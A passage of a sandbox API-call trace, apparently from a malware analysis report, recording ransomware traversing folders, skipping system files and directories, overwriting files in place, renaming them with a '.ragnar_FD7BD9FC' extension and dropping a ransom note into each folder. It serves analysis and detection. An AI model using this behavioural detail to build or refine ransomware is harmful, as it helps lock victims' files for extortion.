lpString2="thumbs.db") returned -1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.682] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0074.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.683] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=44850) returned 1 [0074.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.683] GetProcessHeap () returned 0x580000 [0074.683] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.683] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.685] VirtualAlloc (lpAddress=0x0, dwSize=0xaf32, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.685] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.685] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.685] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaf32, lpOverlapped=0x0) returned 1 [0074.687] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.687] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf32, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.687] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf32, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaf32, lpOverlapped=0x0) returned 1 [0074.687] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf32, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.688] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.688] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.688] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.688] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.688] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.688] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.688] GetProcessHeap () returned 0x580000 [0074.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.688] CloseHandle (hObject=0x10c) returned 1 [0074.688] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" [0074.688] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.689] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2=".") returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="..") returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Windows") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Windows.old") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Tor browser") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Internet Explorer") returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Google") returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Opera") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Opera Software") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Mozilla") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="Mozilla Firefox") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="$Recycle.Bin") returned 1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="ProgramData") returned -1 [0074.689] lstrcmpiW (lpString1="LEVEL", lpString2="All Users") returned 1 [0074.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.689] lstrcpyW (in: lpString1=0x1eb638, lpString2="LEVEL" | out: lpString1="LEVEL") returned="LEVEL" [0074.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\" [0074.690] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\" [0074.690] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RGNR_FD7BD9FC.txt" [0074.690] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.692] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*" [0074.692] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.692] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.692] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec355c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec355c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.692] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0074.692] lstrcmpiW (lpString1="LEVEL.ELM", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="..") returned 1 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0074.692] lstrcmpiW (lpString1="LEVEL.INF", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="LEVEL.INF", lpString2="..") returned 1 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.692] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec355c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.692] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.692] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.692] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.692] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.693] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec355c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.693] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec355c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.693] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0074.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.693] lstrcpyW (in: lpString1=0x1eab6c, lpString2="LEVEL.ELM" | out: lpString1="LEVEL.ELM") returned="LEVEL.ELM" [0074.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM") returned=".ELM" [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="autorun.inf") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="boot.ini") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="bootfont.bin") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="bootsect.bak") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="bootmgr") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="bootmgr.efi") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="bootmgfw.efi") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="desktop.ini") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="iconcache.db") returned 1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="ntldr") returned -1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="ntuser.dat") returned -1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="ntuser.dat.log") returned -1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="ntuser.ini") returned -1 [0074.693] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="thumbs.db") returned -1 [0074.693] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.693] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.693] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.693] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.693] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.694] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.694] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0074.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.697] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=58092) returned 1 [0074.698] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe2e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.698] GetProcessHeap () returned 0x580000 [0074.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.698] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.699] VirtualAlloc (lpAddress=0x0, dwSize=0xe2ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.699] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.699] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.699] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe2ec, lpOverlapped=0x0) returned 1 [0074.701] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.702] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.702] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2ec, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe2ec, lpOverlapped=0x0) returned 1 [0074.702] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.702] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.702] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xe2ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.702] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.702] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.703] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.703] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.703] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.703] GetProcessHeap () returned 0x580000 [0074.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.703] CloseHandle (hObject=0x100) returned 1 [0074.703] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" [0074.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.ragnar_FD7BD9FC" [0074.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft 